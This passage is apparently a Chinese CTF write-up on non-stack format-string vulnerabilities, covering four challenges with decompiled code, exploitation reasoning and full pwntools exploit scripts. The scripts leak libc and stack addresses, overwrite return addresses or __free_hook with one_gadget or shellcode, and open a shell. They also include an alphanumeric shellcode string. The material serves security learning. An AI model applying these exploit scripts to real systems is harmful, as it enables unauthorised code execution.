• %hhn(写入一字节)
  • %hn(写入两字节)
  • %n(32位写四字节)
  • %ln / %lln(写入八字节)

hitcontraining_playfmt

image-20240729154014016

首先是设置输出为无缓冲模式,然后以参数的数量的地址传参

image-20240729154330774

里面调用do_fmt函数,显然是一个非栈上的格式化字符串漏洞

image-20240729154408434

没有保护,且有RWX段,gdb进去可以看到栈便是RWX段,但是没什么软用,因为是非栈上的格式化字符串

这题是通过在buf段构造shellcode的,因为是老题了,在很old的内核版本的数据段是可执行的,直到5点多才不可执行的

因此就看一个思路即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

def duan():
gdb.attach(p)
pause()

x64_32 = 0
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'

p=process('./playfmt')
buf=0x0804A060
pre_ebp=0x080485AD

#aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
#aaaa-0x8048680-0x4-0x8048507-0x8048685-0x804a000-0xffffce98-0x80485ad-0xf7fb5d60-0x804a000-0xffffcea8-0x80485ea-0xffffcec0-(nil)-(nil)-0xf7e1a647-0xf7fb5000-0xf7fb5000-(nil)

ru('==\n')
sl('%6$p')
ru('0x')
stack_addr=int(r(8),16)-0x28+0x1c
leak('stack_addr:',stack_addr)

#gdb.attach(p)

pl = b'%' + str(stack_addr & 0xffff).encode() + b'c%6$hn'
pl = pl.ljust(200,b'\x00')
s(pl)
p.recv()
# duan()

pl = b'%' + str(0xa064).encode() + b'c%10$hn'
pl = pl.ljust(200, b'\x00')
s(pl)
p.recv()
duan()

shellcode = asm(shellcraft.sh())
pl = b'quit' + shellcode
s(pl)

itr()

思考点

  • printf的栈布局受内核版本的影响而不受libc版本的影响
  • 由于本题没有标志性的输出,导致的exp打得不稳定
  • 非栈上的格式化字符串漏洞需要两次间接覆盖才可以覆盖返回地址

easy_printf (64位)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *s2; // [rsp+8h] [rbp-78h] BYREF
char buf[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v6; // [rsp+78h] [rbp-8h]

v6 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("Do you know who the best pwner is?");
base64_decode(encoded_string, &s2); //VG9rYW1laW5FX2lzX3RoZV9iZXN0X3B3bmVy
read(0, buf, 0x3CuLL);
if ( !strcmp(buf, s2) )
vuln();
else
printf("I think your idea is wrong");
free(s2);
return 0;
}

这里找一个在线网站解一下base64,然后进入vuln

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 vuln()
{
puts("Oh,you are right");
puts("Welcome to this place");
return fmtstr();
}
__int64 fmtstr()
{
int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 12; ++i )
{
puts("What do you want to say?");
read(0, buf, 0x40uLL);
printf(buf);
}
return 0LL;

有13次的printf

思路

利用非栈上的格式化字符串来修改free_hook为one_gadget
__libc_start_main+240 :main函数的返回地址

image-20240805101007065
这个题首先就是运用rbp附近的两个跳板(偏移为8和10),把_libc_start_main+240改成free_hook
这里需要改6位,所以需要4步

1
2
3
4
sla('What do you want to say?\n','%'+str(num)+'c%8$hhn')
sla('What do you want to say?\n','%'+str(free_hook&0xffff)+'c%10$hn')
sla('What do you want to say?\n','%'+str(num+2)+'c%8$hhn')
sla('What do you want to say?\n','%'+str((free_hook//0x10000)&0xff)+'c%10$hhn')

这里前两步修改就是直接对 _libc_start_main+240 后两位进行了修改
后两步是先修改了一下地址,然后修改了 _libc_start_main+240 的倒数3,4位(就是不能直接修改地址的倒数3,4位,我们就修改地址,然后改新地址的最后两位,以达到修改地址的倒数3,4位的目的)

image-20240805101050623
然后再用跳板把free_hook改为one_gadget
free_hook (0x7fde287987a8) 与 one_gadget (0x7fde2841727a) 也是后6位有区别,所以需要多步

1
2
3
4
5
6
7
8
sla('What do you want to say?\n','%'+str(og&0xffff)+'c%29$hn')
sla('What do you want to say?\n','%'+str(num)+'c%8$hhn')
sla('What do you want to say?\n','%'+str(0xaa)+'c%10$hhn')
sla('What do you want to say?\n','%'+str((og//0x10000)&0xffff)+'c%29$hn')
sla('What do you want to say?\n','%'+str(0xac)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(free&0xff)+'c%29$hhn')
sla('What do you want to say?\n','%'+str(0xad)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(free1)+'c%29$hhn')

第一步是先直接修改free_hook的后四位,第二三步是把 _libc_start_main+240 修改成了 free_hook+2 (free_hook最后两位是0xa8 , 0xa8+0x2=0xaa , 这个地址是用libc查找的,所以本地和远程后三位是一致的),然后再用这种方法修改。

image-20240805101101694
这里再执行完上面最后一步就可以修改完了,然后执行free函数就直接getshell了。

由于找不到题目,因此大致看了下思路,也是通过间接覆盖地址

二进制专项 fooooood (64位)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+4h] [rbp-Ch]

Init();
puts("Have you heard about YANGSHEN?");
puts("YangShen said that he want to know your name.");
printf("Give me your name:");
getstring(name, 32);
printf("Hello %s\n", name);
for ( i = 3; i > 0; --i )
{
printf("Now, you have %d times to tell me what is your favourite food!\nwhat's your favourite food: ", i);
getstring(food, 32);
printf("You like ");
printf(food);
puts("!?\nI like it too!");
}
return 0;
}

unsigned __int64 __fastcall getstring(__int64 a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
for ( i = 0; i < a2; ++i ) // a2=32
{
read(0, (i + a1), 1uLL); // a1=name bss
if ( *(i + a1) == 0xA )
{
*(i + a1) = 0;
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}

三次格式化字符串漏洞

只有三次的格式化字符串漏洞,而i的值位于栈上,因此先修改格式化字符串漏洞的次数,再覆盖 _libc_start_main+240one_gadget即可

2024DASCTF springboard

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-4h]

((void (__fastcall *)(int, const char **, const char **))myinit)(argc, argv, envp);
puts("Life is not boring, dreams are not out of reach.");
puts("Sometimes you just need a springboard.");
puts("Then you can see a wider world.");
puts("There may be setbacks along the way.");
puts("But keep your love of life alive.");
puts("I believe that you will succeed.");
puts("Good luck.");
putchar('\n');
puts("Here's a simple pwn question, challenge yourself.");
for ( i = 0; i <= 4; ++i )
{
puts("You have an 5 chances to get a flag");
printf("This is the %d time\n", (unsigned int)(i + 1));
puts("Please enter a keyword");
read(0, bss, 0x40uLL);
printf(bss);
}
return 0;
}

5次的非栈上printf,是极限情况,改 _libc_start_main+240one_gadget即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from ctypes import *
import struct
context(os='linux' , arch='amd64' , log_level='debug')

libc=ELF('./libc.so.6')
path='./pwn'
elf=ELF(path)

amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA"

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda s,n :print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")


local=1

def run():
if local:
return process(path)
return remote('node4.anna.nssctf.cn',28282)

def debug(duan=None):
if local:
if duan:
gdb.attach(p, execute=duan)
else:
gdb.attach(p)
pause()
3
p=run()
# 1 泄露libc和stack
# 2 分两次覆盖ret为one_gadget
og=[0x4527a,0xf03a4,0xf1247]
sla(b'Please enter a keyword\n',b'%9$p-%11$p')
ru(b'0x')
libc_base=int(r(12),16)-0x20840
leak("libc_base",libc_base)

ogg=libc_base+og[2]
leak("one_gadget",ogg)

ru(b'0x')
stack_addr=int(r(12),16)-0xE0
leak("stack",stack_addr)

pay=b'%'+ str(stack_addr & 0xffff).encode() + b"c%11$hn"
sla(b'Please enter a keyword\n',pay)

pay=b"%" +str(ogg & 0xffff).encode() +b'c%37$hn'
sla(b'Please enter a keyword\n',pay)

pay=b'%'+ str((stack_addr+2) & 0xffff).encode() + b"c%11$hn"
sla(b'Please enter a keyword\n',pay)

pay=b"%" +str((ogg>>16) & 0xff).encode() +b'c%37$hhn'
sla(b'Please enter a keyword\n',pay)

# debug()
irt()